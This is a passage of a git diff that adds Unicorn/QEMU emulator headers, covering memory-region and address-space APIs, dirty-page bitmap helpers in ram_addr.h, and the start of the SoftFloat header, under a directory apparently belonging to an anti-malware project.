+ * + * A reservation region primariy serves debugging purposes. It claims I/O + * space that is not supposed to be handled by QEMU itself. Any access via + * the memory API will cause an abort(). + * + * @mr: the #MemoryRegion to be initialized + * @owner: the object that tracks the region's reference count + * @name: used for debugging; not visible to the user or ABI + * @size: size of the region. + */ +void memory_region_init_reservation(struct uc_struct *uc, MemoryRegion *mr, + struct Object *owner, + const char *name, + uint64_t size); + +/** + * memory_region_init_iommu: Initialize a memory region that translates + * addresses + * + * An IOMMU region translates addresses and forwards accesses to a target + * memory region. + * + * @mr: the #MemoryRegion to be initialized + * @owner: the object that tracks the region's reference count + * @ops: a function that translates addresses into the @target region + * @name: used for debugging; not visible to the user or ABI + * @size: size of the region. + */ +void memory_region_init_iommu(MemoryRegion *mr, + struct Object *owner, + const MemoryRegionIOMMUOps *ops, + const char *name, + uint64_t size); + +/** + * memory_region_size: get a memory region's size. + * + * @mr: the memory region being queried. + */ +uint64_t memory_region_size(MemoryRegion *mr); + +/** + * memory_region_is_ram: check whether a memory region is random access + * + * Returns %true is a memory region is random access. + * + * @mr: the memory region being queried + */ +bool memory_region_is_ram(MemoryRegion *mr); + +/** + * memory_region_is_skip_dump: check whether a memory region should not be + * dumped + * + * Returns %true is a memory region should not be dumped(e.g. VFIO BAR MMAP). + * + * @mr: the memory region being queried + */ +bool memory_region_is_skip_dump(MemoryRegion *mr); + +/** + * memory_region_set_skip_dump: Set skip_dump flag, dump will ignore this memory + * region + * + * @mr: the memory region being queried + */ +void memory_region_set_skip_dump(MemoryRegion *mr); + +/** + * memory_region_is_romd: check whether a memory region is in ROMD mode + * + * Returns %true if a memory region is a ROM device and currently set to allow + * direct reads. + * + * @mr: the memory region being queried + */ +static inline bool memory_region_is_romd(MemoryRegion *mr) +{ + return mr->rom_device && mr->romd_mode; +} + +/** + * memory_region_is_iommu: check whether a memory region is an iommu + * + * Returns %true is a memory region is an iommu. + * + * @mr: the memory region being queried + */ +bool memory_region_is_iommu(MemoryRegion *mr); + +/** + * memory_region_notify_iommu: notify a change in an IOMMU translation entry. + * + * @mr: the memory region that was changed + * @entry: the new entry in the IOMMU translation table. The entry + * replaces all old entries for the same virtual I/O address range. + * Deleted entries have .@perm == 0. + */ +void memory_region_notify_iommu(MemoryRegion *mr, + IOMMUTLBEntry entry); + +/** + * memory_region_name: get a memory region's name + * + * Returns the string that was used to initialize the memory region. + * + * @mr: the memory region being queried + */ +const char *memory_region_name(const MemoryRegion *mr); + +/** + * memory_region_is_logging: return whether a memory region is logging writes + * + * Returns %true if the memory region is logging writes + * + * @mr: the memory region being queried + */ +bool memory_region_is_logging(MemoryRegion *mr); + +/** + * memory_region_is_rom: check whether a memory region is ROM + * + * Returns %true is a memory region is read-only memory. + * + * @mr: the memory region being queried + */ +bool memory_region_is_rom(MemoryRegion *mr); + +/** + * memory_region_get_fd: Get a file descriptor backing a RAM memory region. + * + * Returns a file descriptor backing a file-based RAM memory region, + * or -1 if the region is not a file-based RAM memory region. + * + * @mr: the RAM or alias memory region being queried. + */ +int memory_region_get_fd(MemoryRegion *mr); + +/** + * memory_region_get_ram_ptr: Get a pointer into a RAM memory region. + * + * Returns a host pointer to a RAM memory region (created with + * memory_region_init_ram() or memory_region_init_ram_ptr()). Use with + * care. + * + * @mr: the memory region being queried. + */ +void *memory_region_get_ram_ptr(MemoryRegion *mr); + +/** + * memory_region_set_readonly: Turn a memory region read-only (or read-write) + * + * Allows a memory region to be marked as read-only (turning it into a ROM). + * only useful on RAM regions. + * + * @mr: the region being updated. + * @readonly: whether rhe region is to be ROM or RAM. + */ +void memory_region_set_readonly(MemoryRegion *mr, bool readonly); + +/** + * memory_region_rom_device_set_romd: enable/disable ROMD mode + * + * Allows a ROM device (initialized with memory_region_init_rom_device() to + * set to ROMD mode (default) or MMIO mode. When it is in ROMD mode, the + * device is mapped to guest memory and satisfies read access directly. + * When in MMIO mode, reads are forwarded to the #MemoryRegion.read function. + * Writes are always handled by the #MemoryRegion.write function. + * + * @mr: the memory region to be updated + * @romd_mode: %true to put the region into ROMD mode + */ +void memory_region_rom_device_set_romd(MemoryRegion *mr, bool romd_mode); + +/** + * memory_region_add_subregion: Add a subregion to a container. + * + * Adds a subregion at @offset. The subregion may not overlap with other + * subregions (except for those explicitly marked as overlapping). A region + * may only be added once as a subregion (unless removed with + * memory_region_del_subregion()); use memory_region_init_alias() if you + * want a region to be a subregion in multiple locations. + * + * @mr: the region to contain the new subregion; must be a container + * initialized with memory_region_init(). + * @offset: the offset relative to @mr where @subregion is added. + * @subregion: the subregion to be added. + */ +void memory_region_add_subregion(MemoryRegion *mr, + hwaddr offset, + MemoryRegion *subregion); +/** + * memory_region_add_subregion_overlap: Add a subregion to a container + * with overlap. + * + * Adds a subregion at @offset. The subregion may overlap with other + * subregions. Conflicts are resolved by having a higher @priority hide a + * lower @priority. Subregions without priority are taken as @priority 0. + * A region may only be added once as a subregion (unless removed with + * memory_region_del_subregion()); use memory_region_init_alias() if you + * want a region to be a subregion in multiple locations. + * + * @mr: the region to contain the new subregion; must be a container + * initialized with memory_region_init(). + * @offset: the offset relative to @mr where @subregion is added. + * @subregion: the subregion to be added. + * @priority: used for resolving overlaps; highest priority wins. + */ +void memory_region_add_subregion_overlap(MemoryRegion *mr, + hwaddr offset, + MemoryRegion *subregion, + int priority); + +/** + * memory_region_get_ram_addr: Get the ram address associated with a memory + * region + * + * DO NOT USE THIS FUNCTION. This is a temporary workaround while the Xen + * code is being reworked. + */ +ram_addr_t memory_region_get_ram_addr(MemoryRegion *mr); + +uint64_t memory_region_get_alignment(const MemoryRegion *mr); + +/** + * memory_region_del_subregion: Remove a subregion. + * + * Removes a subregion from its container. + * + * @mr: the container to be updated. + * @subregion: the region being removed; must be a current subregion of @mr. + */ +void memory_region_del_subregion(MemoryRegion *mr, + MemoryRegion *subregion); + +/* + * memory_region_set_enabled: dynamically enable or disable a region + * + * Enables or disables a memory region. A disabled memory region + * ignores all accesses to itself and its subregions. It does not + * obscure sibling subregions with lower priority - it simply behaves as + * if it was removed from the hierarchy. + * + * Regions default to being enabled. + * + * @mr: the region to be updated + * @enabled: whether to enable or disable the region + */ +void memory_region_set_enabled(MemoryRegion *mr, bool enabled); + +/* + * memory_region_set_address: dynamically update the address of a region + * + * Dynamically updates the address of a region, relative to its container. + * May be used on regions are currently part of a memory hierarchy. + * + * @mr: the region to be updated + * @addr: new address, relative to container region + */ +void memory_region_set_address(MemoryRegion *mr, hwaddr addr); + +/* + * memory_region_set_alias_offset: dynamically update a memory alias's offset + * + * Dynamically updates the offset into the target region that an alias points + * to, as if the fourth argument to memory_region_init_alias() has changed. + * + * @mr: the #MemoryRegion to be updated; should be an alias. + * @offset: the new offset into the target memory region + */ +void memory_region_set_alias_offset(MemoryRegion *mr, + hwaddr offset); + +/** + * memory_region_present: checks if an address relative to a @container + * translates into #MemoryRegion within @container + * + * Answer whether a #MemoryRegion within @container covers the address + * @addr. + * + * @container: a #MemoryRegion within which @addr is a relative address + * @addr: the area within @container to be searched + */ +bool memory_region_present(MemoryRegion *container, hwaddr addr); + +/** + * memory_region_is_mapped: returns true if #MemoryRegion is mapped + * into any address space. + * + * @mr: a #MemoryRegion which should be checked if it's mapped + */ +bool memory_region_is_mapped(MemoryRegion *mr); + +/** + * memory_region_find: translate an address/size relative to a + * MemoryRegion into a #MemoryRegionSection. + * + * Locates the first #MemoryRegion within @mr that overlaps the range + * given by @addr and @size. + * + * Returns a #MemoryRegionSection that describes a contiguous overlap. + * It will have the following characteristics: + * .@size = 0 iff no overlap was found + * .@mr is non-%NULL iff an overlap was found + * + * Remember that in the return value the @offset_within_region is + * relative to the returned region (in the .@mr field), not to the + * @mr argument. + * + * Similarly, the .@offset_within_address_space is relative to the + * address space that contains both regions, the passed and the + * returned one. However, in the special case where the @mr argument + * has no container (and thus is the root of the address space), the + * following will hold: + * .@offset_within_address_space >= @addr + * .@offset_within_address_space + .@size <= @addr + @size + * + * @mr: a MemoryRegion within which @addr is a relative address + * @addr: start of the area within @as to be searched + * @size: size of the area to be searched + */ +MemoryRegionSection memory_region_find(MemoryRegion *mr, + hwaddr addr, uint64_t size); + +/** + * memory_region_transaction_begin: Start a transaction. + * + * During a transaction, changes will be accumulated and made visible + * only when the transaction ends (is committed). + */ +void memory_region_transaction_begin(struct uc_struct*); + +/** + * memory_region_transaction_commit: Commit a transaction and make changes + * visible to the guest. + */ +void memory_region_transaction_commit(struct uc_struct*); + +/** + * memory_listener_register: register callbacks to be called when memory + * sections are mapped or unmapped into an address + * space + * + * @listener: an object containing the callbacks to be called + * @filter: if non-%NULL, only regions in this address space will be observed + */ +void memory_listener_register(struct uc_struct* uc, MemoryListener *listener, AddressSpace *filter); + +/** + * memory_listener_unregister: undo the effect of memory_listener_register() + * + * @listener: an object containing the callbacks to be removed + */ +void memory_listener_unregister(struct uc_struct* uc, MemoryListener *listener); + +/** + * address_space_init: initializes an address space + * + * @as: an uninitialized #AddressSpace + * @root: a #MemoryRegion that routes addesses for the address space + * @name: an address space name. The name is only used for debugging + * output. + */ +void address_space_init(struct uc_struct *uc, AddressSpace *as, MemoryRegion *root, const char *name); + + +/** + * address_space_destroy: destroy an address space + * + * Releases all resources associated with an address space. After an address space + * is destroyed, its root memory region (given by address_space_init()) may be destroyed + * as well. + * + * @as: address space to be destroyed + */ +void address_space_destroy(AddressSpace *as); + +/** + * address_space_rw: read from or write to an address space. + * + * Return true if the operation hit any unassigned memory or encountered an + * IOMMU fault. + * + * @as: #AddressSpace to be accessed + * @addr: address within that address space + * @buf: buffer with the data transferred + * @is_write: indicates the transfer direction + */ +bool address_space_rw(AddressSpace *as, hwaddr addr, uint8_t *buf, + int len, bool is_write); + +/** + * address_space_write: write to address space. + * + * Return true if the operation hit any unassigned memory or encountered an + * IOMMU fault. + * + * @as: #AddressSpace to be accessed + * @addr: address within that address space + * @buf: buffer with the data transferred + */ +bool address_space_write(AddressSpace *as, hwaddr addr, + const uint8_t *buf, int len); + +/** + * address_space_read: read from an address space. + * + * Return true if the operation hit any unassigned memory or encountered an + * IOMMU fault. + * + * @as: #AddressSpace to be accessed + * @addr: address within that address space + * @buf: buffer with the data transferred + */ +bool address_space_read(AddressSpace *as, hwaddr addr, uint8_t *buf, int len); + +/* address_space_translate: translate an address range into an address space + * into a MemoryRegion and an address range into that section + * + * @as: #AddressSpace to be accessed + * @addr: address within that address space + * @xlat: pointer to address within the returned memory region section's + * #MemoryRegion. + * @len: pointer to length + * @is_write: indicates the transfer direction + */ +MemoryRegion *address_space_translate(AddressSpace *as, hwaddr addr, + hwaddr *xlat, hwaddr *len, + bool is_write); + +/* address_space_access_valid: check for validity of accessing an address + * space range + * + * Check whether memory is assigned to the given address space range, and + * access is permitted by any IOMMU regions that are active for the address + * space. + * + * For now, addr and len should be aligned to a page size. This limitation + * will be lifted in the future. + * + * @as: #AddressSpace to be accessed + * @addr: address within that address space + * @len: length of the area to be checked + * @is_write: indicates the transfer direction + */ +bool address_space_access_valid(AddressSpace *as, hwaddr addr, int len, bool is_write); + +/* address_space_map: map a physical memory region into a host virtual address + * + * May map a subset of the requested range, given by and returned in @plen. + * May return %NULL if resources needed to perform the mapping are exhausted. + * Use only for reads OR writes - not for read-modify-write operations. + * Use cpu_register_map_client() to know when retrying the map operation is + * likely to succeed. + * + * @as: #AddressSpace to be accessed + * @addr: address within that address space + * @plen: pointer to length of buffer; updated on return + * @is_write: indicates the transfer direction + */ +void *address_space_map(AddressSpace *as, hwaddr addr, + hwaddr *plen, bool is_write); + +/* address_space_unmap: Unmaps a memory region previously mapped by address_space_map() + * + * Will also mark the memory as dirty if @is_write == %true. @access_len gives + * the amount of memory that was actually read or written by the caller. + * + * @as: #AddressSpace used + * @addr: address within that address space + * @len: buffer length as returned by address_space_map() + * @access_len: amount of data actually transferred + * @is_write: indicates the transfer direction + */ +void address_space_unmap(AddressSpace *as, void *buffer, hwaddr len, + int is_write, hwaddr access_len); + + +void memory_register_types(struct uc_struct *uc); + +MemoryRegion *memory_map(struct uc_struct *uc, hwaddr begin, size_t size, uint32_t perms); +MemoryRegion *memory_map_ptr(struct uc_struct *uc, hwaddr begin, size_t size, uint32_t perms, void *ptr); +void memory_unmap(struct uc_struct *uc, MemoryRegion *mr); +int memory_free(struct uc_struct *uc); + +#endif + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/ram_addr.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/ram_addr.h new file mode 100644 index 0000000..5e614e5 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/ram_addr.h @@ -0,0 +1,163 @@ +/* + * Declarations for cpu physical memory functions + * + * Copyright 2011 Red Hat, Inc. and/or its affiliates + * + * Authors: + * Avi Kivity <avi@redhat.com> + * + * This work is licensed under the terms of the GNU GPL, version 2 or + * later. See the COPYING file in the top-level directory. + * + */ + +/* + * This header is for use by exec.c and memory.c ONLY. Do not include it. + * The functions declared here will be removed soon. + */ + +#ifndef RAM_ADDR_H +#define RAM_ADDR_H + +#include "uc_priv.h" + +#ifndef CONFIG_USER_ONLY + +ram_addr_t qemu_ram_alloc_from_ptr(ram_addr_t size, void *host, + MemoryRegion *mr, Error **errp); +ram_addr_t qemu_ram_alloc(ram_addr_t size, MemoryRegion *mr, Error **errp); +int qemu_get_ram_fd(struct uc_struct *uc, ram_addr_t addr); +void *qemu_get_ram_block_host_ptr(struct uc_struct *uc, ram_addr_t addr); +void *qemu_get_ram_ptr(struct uc_struct *uc, ram_addr_t addr); +void qemu_ram_free(struct uc_struct *c, ram_addr_t addr); +void qemu_ram_free_from_ptr(struct uc_struct *uc, ram_addr_t addr); + +static inline bool cpu_physical_memory_get_dirty(struct uc_struct *uc, ram_addr_t start, + ram_addr_t length, + unsigned client) +{ + unsigned long end, page, next; + + assert(client < DIRTY_MEMORY_NUM); + + end = TARGET_PAGE_ALIGN(start + length) >> TARGET_PAGE_BITS; + page = start >> TARGET_PAGE_BITS; + next = find_next_bit(uc->ram_list.dirty_memory[client], end, page); + + return next < end; +} + +static inline bool cpu_physical_memory_get_clean(struct uc_struct *uc, ram_addr_t start, + ram_addr_t length, + unsigned client) +{ + unsigned long end, page, next; + + assert(client < DIRTY_MEMORY_NUM); + + end = TARGET_PAGE_ALIGN(start + length) >> TARGET_PAGE_BITS; + page = start >> TARGET_PAGE_BITS; + next = find_next_zero_bit(uc->ram_list.dirty_memory[client], end, page); + + return next < end; +} + +static inline bool cpu_physical_memory_get_dirty_flag(struct uc_struct *uc, ram_addr_t addr, + unsigned client) +{ + return cpu_physical_memory_get_dirty(uc, addr, 1, client); +} + +static inline bool cpu_physical_memory_is_clean(struct uc_struct *uc, ram_addr_t addr) +{ + return !cpu_physical_memory_get_dirty_flag(uc, addr, DIRTY_MEMORY_CODE); +} + +static inline bool cpu_physical_memory_range_includes_clean(struct uc_struct *uc, ram_addr_t start, + ram_addr_t length) +{ + return cpu_physical_memory_get_clean(uc, start, length, DIRTY_MEMORY_CODE); +} + +static inline void cpu_physical_memory_set_dirty_flag(struct uc_struct *uc, ram_addr_t addr, + unsigned client) +{ + assert(client < DIRTY_MEMORY_NUM); + set_bit(addr >> TARGET_PAGE_BITS, uc->ram_list.dirty_memory[client]); +} + +static inline void cpu_physical_memory_set_dirty_range(struct uc_struct *uc, ram_addr_t start, + ram_addr_t length) +{ + unsigned long end, page; + + end = TARGET_PAGE_ALIGN(start + length) >> TARGET_PAGE_BITS; + page = start >> TARGET_PAGE_BITS; + qemu_bitmap_set(uc->ram_list.dirty_memory[DIRTY_MEMORY_CODE], page, end - page); +} + +#if !defined(_WIN32) +static inline void cpu_physical_memory_set_dirty_lebitmap(struct uc_struct *uc, unsigned long *bitmap, + ram_addr_t start, + ram_addr_t pages) +{ + unsigned long i, j; + unsigned long page_number, c; + hwaddr addr; + ram_addr_t ram_addr; + unsigned long len = (pages + HOST_LONG_BITS - 1) / HOST_LONG_BITS; + unsigned long hpratio = getpagesize() / TARGET_PAGE_SIZE; + unsigned long page = BIT_WORD(start >> TARGET_PAGE_BITS); + + /* start address is aligned at the start of a word? */ + if ((((page * BITS_PER_LONG) << TARGET_PAGE_BITS) == start) && + (hpratio == 1)) { + long k; + long nr = BITS_TO_LONGS(pages); + + for (k = 0; k < nr; k++) { + if (bitmap[k]) { + unsigned long temp = leul_to_cpu(bitmap[k]); + uc->ram_list.dirty_memory[DIRTY_MEMORY_CODE][page + k] |= temp; + } + } + } else { + /* + * bitmap-traveling is faster than memory-traveling (for addr...) + * especially when most of the memory is not dirty. + */ + for (i = 0; i < len; i++) { + if (bitmap[i] != 0) { + c = leul_to_cpu(bitmap[i]); + do { + j = ctzl(c); + c &= ~(1ul << j); + page_number = (i * HOST_LONG_BITS + j) * hpratio; + addr = page_number * TARGET_PAGE_SIZE; + ram_addr = start + addr; + cpu_physical_memory_set_dirty_range(uc, ram_addr, + TARGET_PAGE_SIZE * hpratio); + } while (c != 0); + } + } + } +} +#endif /* not _WIN32 */ + +static inline void cpu_physical_memory_clear_dirty_range(struct uc_struct *uc, ram_addr_t start, + ram_addr_t length, + unsigned client) +{ + unsigned long end, page; + + assert(client < DIRTY_MEMORY_NUM); + end = TARGET_PAGE_ALIGN(start + length) >> TARGET_PAGE_BITS; + page = start >> TARGET_PAGE_BITS; + qemu_bitmap_clear(uc->ram_list.dirty_memory[client], page, end - page); +} + +void cpu_physical_memory_reset_dirty(struct uc_struct *uc, + ram_addr_t start, ram_addr_t length, unsigned client); + +#endif +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/fpu/softfloat.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/fpu/softfloat.h new file mode 100644 index 0000000..d15678d --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/fpu/softfloat.h @@ -0,0 +1,741 @@ +/* + * QEMU float support + * + * Derived from SoftFloat. + */ + +/*============================================================================ + +This C header file is part of the SoftFloat IEC/IEEE Floating-point Arithmetic +Package, Release 2b. + +Written by John R. Hauser. This work was made possible in part by the +International Computer Science Institute, located at Suite 600, 1947 Center +Street, Berkeley, California 94704. Funding was partially provided by the +National Science Foundation under grant MIP-9311980. The original version +of this code was written as part of a project to build a fixed-point vector +processor in collaboration with the University of California at Berkeley, +overseen by Profs. Nelson Morgan and John Wawrzynek. More information +is available through the Web page `http://www.cs.berkeley.edu/~jhauser/ +arithmetic/SoftFloat.html'. + +THIS SOFTWARE IS DISTRIBUTED AS IS, FOR FREE. Although reasonable effort has +been made to avoid it, THIS SOFTWARE MAY CONTAIN FAULTS THAT WILL AT TIMES +RESULT IN INCORRECT BEHAVIOR. USE OF THIS SOFTWARE IS RESTRICTED TO PERSONS +AND ORGANIZATIONS WHO CAN AND WILL TAKE FULL RESPONSIBILITY FOR ALL LOSSES, +COSTS, OR OTHER PROBLEMS THEY INCUR DUE TO THE SOFTWARE, AND WHO FURTHERMORE +EFFECTIVELY INDEMNIFY JOHN HAUSER AND THE INTERNATIONAL COMPUTER SCIENCE +INSTITUTE (possibly via similar legal warning) AGAINST ALL LOSSES, COSTS, OR +OTHER PROBLEMS INCURRED BY THEIR CUSTOMERS AND CLIENTS DUE TO THE SOFTWARE. + +Derivative works are acceptable, even for commercial purposes, so long as +(1) the source code for the derivative work includes prominent notice that +the work is derivative, and (2) the source code includes prominent notice with +these four paragraphs for those parts of this code that are retained. + +=============================================================================*/ + +#ifndef SOFTFLOAT_H +#define SOFTFLOAT_H + +#if defined(CONFIG_SOLARIS) && defined(CONFIG_NEEDS_LIBSUNMATH) +#include <sunmath.h> +#endif + +#include "unicorn/platform.h" +#include "config-host.h" +#include "qemu/osdep.h" + +/*---------------------------------------------------------------------------- +| Each of the following `typedef's defines the most convenient type that holds +| integers of at least as many bits as specified. For example, `uint8' should +| be the most convenient type that can hold unsigned integers of as many as +| 8 bits. The `flag' type must be able to hold either a 0 or 1. For most +| implementations of C, `flag', `uint8', and `int8' should all be `typedef'ed +| to the same as `int'. +*----------------------------------------------------------------------------*/ +typedef uint8_t flag; +typedef uint8_t uint8; +typedef int8_t int8; +typedef unsigned int uint32; +typedef signed int int32; +typedef uint64_t uint64; +typedef int64_t int64; + +#define LIT64( a ) a##LL + +#define STATUS_PARAM , float_status *status +#define STATUS(field) status->field +#define STATUS_VAR , status + +/*---------------------------------------------------------------------------- +| Software IEC/IEEE floating-point ordering relations +*----------------------------------------------------------------------------*/ +enum { + float_relation_less = -1, + float_relation_equal = 0, + float_relation_greater = 1, + float_relation_unordered = 2 +}; + +/*---------------------------------------------------------------------------- +| Software IEC/IEEE floating-point types. +*----------------------------------------------------------------------------*/ +/* Use structures for soft-float types. This prevents accidentally mixing + them with native int/float types. A sufficiently clever compiler and + sane ABI should be able to see though these structs. However + x86/gcc 3.x seems to struggle a bit, so leave them disabled by default. */ +//#define USE_SOFTFLOAT_STRUCT_TYPES +#ifdef USE_SOFTFLOAT_STRUCT_TYPES +typedef struct { + uint16_t v; +} float16; +#define float16_val(x) (((float16)(x)).v) +#define make_float16(x) __extension__ ({ float16 f16_val = {x}; f16_val; }) +#define const_float16(x) { x } +typedef struct { + uint32_t v; +} float32; +/* The cast ensures an error if the wrong type is passed. */ +#define float32_val(x) (((float32)(x)).v) +#define make_float32(x) __extension__ ({ float32 f32_val = {x}; f32_val; }) +#define const_float32(x) { x } +typedef struct { + uint64_t v; +} float64; +#define float64_val(x) (((float64)(x)).v) +#define make_float64(x) __extension__ ({ float64 f64_val = {x}; f64_val; }) +#define const_float64(x) { x } +#else +typedef uint16_t float16; +typedef uint32_t float32; +typedef uint64_t float64; +#define float16_val(x) (x) +#define float32_val(x) (x) +#define float64_val(x) (x) +#define make_float16(x) (x) +#define make_float32(x) (x) +#define make_float64(x) (x) +#define const_float16(x) (x) +#define const_float32(x) (x) +#define const_float64(x) (x) +#endif +typedef struct { + uint64_t low; + uint16_t high; +} floatx80; +#define make_floatx80(exp, mant) ((floatx80) { mant, exp }) +#define make_floatx80_init(exp, mant) { mant, exp } +typedef struct { +#ifdef HOST_WORDS_BIGENDIAN + uint64_t high, low; +#else + uint64_t low, high; +#endif +} float128; +#ifdef HOST_WORDS_BIGENDIAN +#define make_float128(high_, low_) ((float128) { high_, low_ }) +#define make_float128_init(high_, low_) { high_, low_ } +#else +#define make_float128(high_, low_) ((float128) { low_, high_ }) +#define make_float128_init(high_, low_) { low_, high_ } +#endif + +/*---------------------------------------------------------------------------- +| Software IEC/IEEE floating-point underflow tininess-detection mode. +*----------------------------------------------------------------------------*/ +enum { + float_tininess_after_rounding = 0, + float_tininess_before_rounding = 1 +}; + +/*---------------------------------------------------------------------------- +| Software IEC/IEEE floating-point rounding mode. +*----------------------------------------------------------------------------*/ +enum { + float_round_nearest_even = 0, + float_round_down = 1, + float_round_up = 2, + float_round_to_zero = 3, + float_round_ties_away = 4, +}; + +/*---------------------------------------------------------------------------- +| Software IEC/IEEE floating-point exception flags. +*----------------------------------------------------------------------------*/ +enum { + float_flag_invalid = 1, + float_flag_divbyzero = 4, + float_flag_overflow = 8, + float_flag_underflow = 16, + float_flag_inexact = 32, + float_flag_input_denormal = 64, + float_flag_output_denormal = 128 +}; + +typedef struct float_status { + signed char float_detect_tininess; + signed char float_rounding_mode; + signed char float_exception_flags; + signed char floatx80_rounding_precision; + /* should denormalised results go to zero and set the inexact flag? */ + flag flush_to_zero; + /* should denormalised inputs go to zero and set the input_denormal flag? */ + flag flush_inputs_to_zero; + flag default_nan_mode; +} float_status; + +static inline void set_float_detect_tininess(int val STATUS_PARAM) +{ + STATUS(float_detect_tininess) = val; +} +static inline void set_float_rounding_mode(int val STATUS_PARAM) +{ + STATUS(float_rounding_mode) = val; +} +static inline void set_float_exception_flags(int val STATUS_PARAM) +{ + STATUS(float_exception_flags) = val; +} +static inline void set_floatx80_rounding_precision(int val STATUS_PARAM) +{ + STATUS(floatx80_rounding_precision) = val; +} +static inline void set_flush_to_zero(flag val STATUS_PARAM) +{ + STATUS(flush_to_zero) = val; +} +static inline void set_flush_inputs_to_zero(flag val STATUS_PARAM) +{ + STATUS(flush_inputs_to_zero) = val; +} +static inline void set_default_nan_mode(flag val STATUS_PARAM) +{ + STATUS(default_nan_mode) = val; +} +static inline int get_float_detect_tininess(float_status *status) +{ + return STATUS(float_detect_tininess); +} +static inline int get_float_rounding_mode(float_status *status) +{ + return STATUS(float_rounding_mode); +} +static inline int get_float_exception_flags(float_status *status) +{ + return STATUS(float_exception_flags); +} +static inline int get_floatx80_rounding_precision(float_status *status) +{ + return STATUS(floatx80_rounding_precision); +} +static inline flag get_flush_to_zero(float_status *status) +{ + return STATUS(flush_to_zero); +} +static inline flag get_flush_inputs_to_zero(float_status *status) +{ + return STATUS(flush_inputs_to_zero); +} +static inline flag get_default_nan_mode(float_status *status) +{ + return STATUS(default_nan_mode); +} + +/*---------------------------------------------------------------------------- +| Routine to raise any or all of the software IEC/IEEE floating-point +| exception flags. +*----------------------------------------------------------------------------*/ +void float_raise( uint8_t flags STATUS_PARAM); + +/*---------------------------------------------------------------------------- +| If `a' is denormal and we are in flush-to-zero mode then set the +| input-denormal exception and return zero. Otherwise just return the value. +*----------------------------------------------------------------------------*/ +float32 float32_squash_input_denormal(float32 a STATUS_PARAM); +float64 float64_squash_input_denormal(float64 a STATUS_PARAM); + +/*---------------------------------------------------------------------------- +| Options to indicate which negations to perform in float*_muladd() +| Using these differs from negating an input or output before calling +| the muladd function in that this means that a NaN doesn't have its +| sign bit inverted before it is propagated. +| We also support halving the result before rounding, as a special +| case to support the ARM fused-sqrt-step instruction FRSQRTS. +*----------------------------------------------------------------------------*/ +enum { + float_muladd_negate_c = 1, + float_muladd_negate_product = 2, + float_muladd_negate_result = 4, + float_muladd_halve_result = 8, +}; + +/*---------------------------------------------------------------------------- +| Software IEC/IEEE integer-to-floating-point conversion routines. +*----------------------------------------------------------------------------*/ +float32 int32_to_float32(int32_t STATUS_PARAM); +float64 int32_to_float64(int32_t STATUS_PARAM); +float32 uint32_to_float32(uint32_t STATUS_PARAM); +float64 uint32_to_float64(uint32_t STATUS_PARAM); +floatx80 int32_to_floatx80(int32_t STATUS_PARAM); +float128 int32_to_float128(int32_t STATUS_PARAM); +float32 int64_to_float32(int64_t STATUS_PARAM); +float32 uint64_to_float32(uint64_t STATUS_PARAM); +float64 int64_to_float64(int64_t STATUS_PARAM); +float64 uint64_to_float64(uint64_t STATUS_PARAM); +floatx80 int64_to_floatx80(int64_t STATUS_PARAM); +float128 int64_to_float128(int64_t STATUS_PARAM); +float128 uint64_to_float128(uint64_t STATUS_PARAM); + +/* We provide the int16 versions for symmetry of API with float-to-int */ +static inline float32 int16_to_float32(int16_t v STATUS_PARAM) +{ + return int32_to_float32(v STATUS_VAR); +} + +static inline float32 uint16_to_float32(uint16_t v STATUS_PARAM) +{ + return uint32_to_float32(v STATUS_VAR); +} + +static inline float64 int16_to_float64(int16_t v STATUS_PARAM) +{ + return int32_to_float64(v STATUS_VAR); +} + +static inline float64 uint16_to_float64(uint16_t v STATUS_PARAM) +{ + return uint32_to_float64(v STATUS_VAR); +} + +/*---------------------------------------------------------------------------- +| Software half-precision conversion routines. +*----------------------------------------------------------------------------*/ +float16 float32_to_float16( float32, flag STATUS_PARAM ); +float32 float16_to_float32( float16, flag STATUS_PARAM ); +float16 float64_to_float16(float64 a, flag ieee STATUS_PARAM); +float64 float16_to_float64(float16 a, flag ieee STATUS_PARAM); + +/*---------------------------------------------------------------------------- +| Software half-precision operations. +*----------------------------------------------------------------------------*/ +int float16_is_quiet_nan( float16 ); +int float16_is_signaling_nan( float16 ); +float16 float16_maybe_silence_nan( float16 ); + +static inline int float16_is_any_nan(float16 a) +{ + return ((float16_val(a) & ~0x8000) > 0x7c00); +} + +/*---------------------------------------------------------------------------- +| The pattern for a default generated half-precision NaN. +*----------------------------------------------------------------------------*/ +extern const float16 float16_default_nan; + +/*---------------------------------------------------------------------------- +| Software IEC/IEEE single-precision conversion routines. +*----------------------------------------------------------------------------*/ +int_fast16_t float32_to_int16(float32 STATUS_PARAM); +uint_fast16_t float32_to_uint16(float32 STATUS_PARAM); +int_fast16_t float32_to_int16_round_to_zero(float32 STATUS_PARAM); +uint_fast16_t float32_to_uint16_round_to_zero(float32 STATUS_PARAM); +int32 float32_to_int32( float32 STATUS_PARAM ); +int32 float32_to_int32_round_to_zero( float32 STATUS_PARAM ); +uint32 float32_to_uint32( float32 STATUS_PARAM ); +uint32 float32_to_uint32_round_to_zero( float32 STATUS_PARAM ); +int64 float32_to_int64( float32 STATUS_PARAM ); +uint64 float32_to_uint64(float32 STATUS_PARAM); +uint64 float32_to_uint64_round_to_zero(float32 STATUS_PARAM); +int64 float32_to_int64_round_to_zero( float32 STATUS_PARAM ); +float64 float32_to_float64( float32 STATUS_PARAM ); +floatx80 float32_to_floatx80( float32 STATUS_PARAM ); +float128 float32_to_float128( float32 STATUS_PARAM ); + +/*---------------------------------------------------------------------------- +| Software IEC/IEEE single-precision operations. +*----------------------------------------------------------------------------*/ +float32 float32_round_to_int( float32 STATUS_PARAM ); +float32 float32_add( float32, float32 STATUS_PARAM ); +float32 float32_sub( float32, float32 STATUS_PARAM ); +float32 float32_mul( float32, float32 STATUS_PARAM ); +float32 float32_div( float32, float32 STATUS_PARAM ); +float32 float32_rem( float32, float32 STATUS_PARAM ); +float32 float32_muladd(float32, float32, float32, int STATUS_PARAM); +float32 float32_sqrt( float32 STATUS_PARAM ); +float32 float32_exp2( float32 STATUS_PARAM ); +float32 float32_log2( float32 STATUS_PARAM ); +int float32_eq( float32, float32 STATUS_PARAM ); +int float32_le( float32, float32 STATUS_PARAM ); +int float32_lt( float32, float32 STATUS_PARAM ); +int float32_unordered( float32, 